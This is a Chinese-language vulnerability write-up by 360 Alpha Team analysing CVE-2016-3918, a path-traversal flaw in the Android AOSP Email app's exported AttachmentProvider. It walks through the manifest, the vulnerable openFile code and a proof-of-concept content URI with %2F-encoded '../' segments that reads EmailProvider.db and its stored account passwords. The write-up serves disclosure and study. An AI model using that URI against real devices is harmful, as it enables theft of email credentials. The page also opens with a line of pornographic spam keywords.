99久久国产综合精品国_亚洲av日韩aⅴ电影_午夜福利在线电影_亚洲aⅤ色欲久久一区二区三区_91九色蝌蚪国产精品_亚洲av无码乱码在线观看四虎_4国产精品无码制服丝袜_亚洲Av成人五月天在线观看_牛牛成人永久免费视频_午夜福利在线资源


【漏洞分析】CVE-2016-3918:安卓電子郵件信息泄露漏洞分析

本文原創(chuàng)作者:360 Alpha Team

來源:安全客

t01acafaab2488727db

谷歌近期對(duì)外公布了2016年10月的Nexus Security Bulletin,這其中包含一個(gè)由360手機(jī)衛(wèi)士阿爾法團(tuán)隊(duì)(Alpha Team)提交的電子郵件信息泄露漏洞(CVE-2016-3918),谷歌對(duì)此漏洞的評(píng)級(jí)為高危險(xiǎn)等級(jí)。該漏洞可導(dǎo)致惡意應(yīng)用獲取到電子郵件內(nèi)的數(shù)據(jù),可能是電子郵件內(nèi)容、電子郵件附件甚至賬號(hào)密碼。目前谷歌已經(jīng)修復(fù)該漏洞并向OEM廠商推送了補(bǔ)丁,本文將對(duì)此漏洞進(jìn)行分析。

本文的測試環(huán)境和代碼版本如下:

SDK Version: 23, Android 6.0.1

Build: MOB30Y

Branch: android-6.0.1_r60

漏洞成因

在Android AOSP的Email應(yīng)用程序的源碼中,我們可以看到在AndroidManifest.xml文件中存在名為AttachmentProvider的ContentProvider。

1
2
3
4
5
6
7
<provider
????android:name=".provider.AttachmentProvider"
????android:authorities="com.android.email.attachmentprovider"
????android:grantUriPermissions="true"
????android:exported="true"
????android:readPermission="com.android.email.permission.READ_ATTACHMENT"
????/>

其主要屬性如下:

exported true即對(duì)外開放

authorities com.android.email.attachmentprovider 即URI唯一標(biāo)識(shí)

readPermission com.android.email.permission.READ_ATTACHMENT 即讀取需要此權(quán)限

通過查詢我們可以了解到com.android.email.permission.READ_ATTACHMENT權(quán)限的protectionLevel為dangerous,即可被第三方應(yīng)用獲取到。

1
2
3
4
5
6
<permission
????android:name="com.android.email.permission.READ_ATTACHMENT"
????android:permissionGroup="android.permission-group.MESSAGES"
????android:protectionLevel="dangerous"
????android:label="@string/permission_read_attachment_label"
????android:description="@string/permission_read_attachment_desc"/>

在確定此ContentProvider可以被第三方應(yīng)用接觸到之后,我們定位AttachmentProvider的源碼。 源碼路徑如下:

1
/packages/apps/Email/provider_src/com/android/email/provider/AttachmentProvider.java

通過閱讀源碼我們可以發(fā)現(xiàn)AttachmentProvider中實(shí)現(xiàn)了一個(gè)public的openFile接口,該接口會(huì)返回一個(gè)ParcelFileDescriptor類型的對(duì)象供調(diào)用者打開文件。

1
public?ParcelFileDescriptor?openFile(Uri?uri,?String?mode)?throws?FileNotFoundException?{

進(jìn)入openFile接口立刻就會(huì)判斷mode值是否為 “w” ,如果為w則會(huì)返回一個(gè)可寫的文件描述符。但在返回之前,函數(shù)的實(shí)現(xiàn)代碼進(jìn)行了權(quán)限檢查,如果調(diào)用者沒有com.android.email.permission.ACCESS_PROVIDER權(quán)限的話是會(huì)拋異常的。而該權(quán)限的聲明如下:

1
2
3
4
5
<permission
????android:name="com.android.email.permission.ACCESS_PROVIDER"
????android:protectionLevel="signature"
????android:label="@string/permission_access_provider_label"
????android:description="@string/permission_access_provider_desc"/>

可以看到該權(quán)限是無法被第三方應(yīng)用獲取到的,所以獲取可寫的權(quán)限是不可行的。 繼續(xù)往下分析代碼。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
List<String>?segments?=?uri.getPathSegments();
String?accountId?=?segments.get(0);
String?id?=?segments.get(1);
String?format?=?segments.get(2);
if?(AttachmentUtilities.FORMAT_THUMBNAIL.equals(format))?{
????int?width?=?Integer.parseInt(segments.get(3));
????int?height?=?Integer.parseInt(segments.get(4));
????...
}
else?{
????return?ParcelFileDescriptor.open(
????????new?File(getContext().getDatabasePath(accountId?+?".db_att"),?id),
????????????ParcelFileDescriptor.MODE_READ_ONLY);
}

接下來一系列代碼會(huì)從uri.getPathSegments()中分割開不同的字段,并從中讀取相應(yīng)的配置參數(shù)。 當(dāng)format參數(shù)不等于”THUMBNAIL”時(shí),該代碼將會(huì)直接返回一個(gè)getDatabasePath()該目錄下名為id的文件的文件描述符。 而id參數(shù)是上面從uri.getPathSegments().get(1)得到的,獲取之后則沒有任何處理。 uri.getPathSegments()方法的作用是將字符串以”/”進(jìn)行分割,但由于其沒有對(duì)經(jīng)過url編碼的字符串進(jìn)行解碼,導(dǎo)致在處理過程中,對(duì)于/編碼之后的%2f則將不做處理,從而繞過getPathSegments的分割。

漏洞利用

根據(jù)上面我們對(duì)于代碼的分析,可以得出AttachmentProvider的uri如下:

1
content://accountId/id/format/width/height

我們?nèi)绻肜么寺┒醋x取數(shù)據(jù),為使程序流能夠成功運(yùn)行至目標(biāo)位置,需要構(gòu)造如下uri

1
content://com.android.email.attachmentprovider/1/file_position/1/1/1

而且,getDatabasePath()的目錄是/data/user/0/com.android.email/databases/,如果我們要讀取Email郵件的數(shù)據(jù),則需要跳轉(zhuǎn)至目標(biāo)目錄/data/data/com.android.email/來讀取Email應(yīng)用的sqlite數(shù)據(jù)庫文件,我們需要構(gòu)造如下uri:

1
content://com.android.email.attachmentprovider/1/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.android.email%2Fdatabases%2FEmailProvider.db/1/1/1

而EmailProvider.db中存儲(chǔ)了我們已登陸賬戶的賬戶名和密碼,對(duì)應(yīng)的結(jié)構(gòu)為HostAuth表的login和password字段。 我們構(gòu)造的PoC截圖如下:

t01e939250fb836e12c

總結(jié)

至此,CVE-2016-3918漏洞的分析和利用已經(jīng)完成。 經(jīng)過我們的測試,目前多款主流手機(jī)機(jī)型的自帶電子郵件客戶端都存在該問題,如小米NOTE、華為P9、三星S5等機(jī)型,為了賬戶的安全,請使用存在漏洞手機(jī)的用戶暫停使用電子郵件客戶端并清除賬戶信息,換至其他郵件客戶端。

原文地址:http://bobao.#/learning/detail/3107.html

上一篇
下一篇

聯(lián)系我們:cert@chaosec.com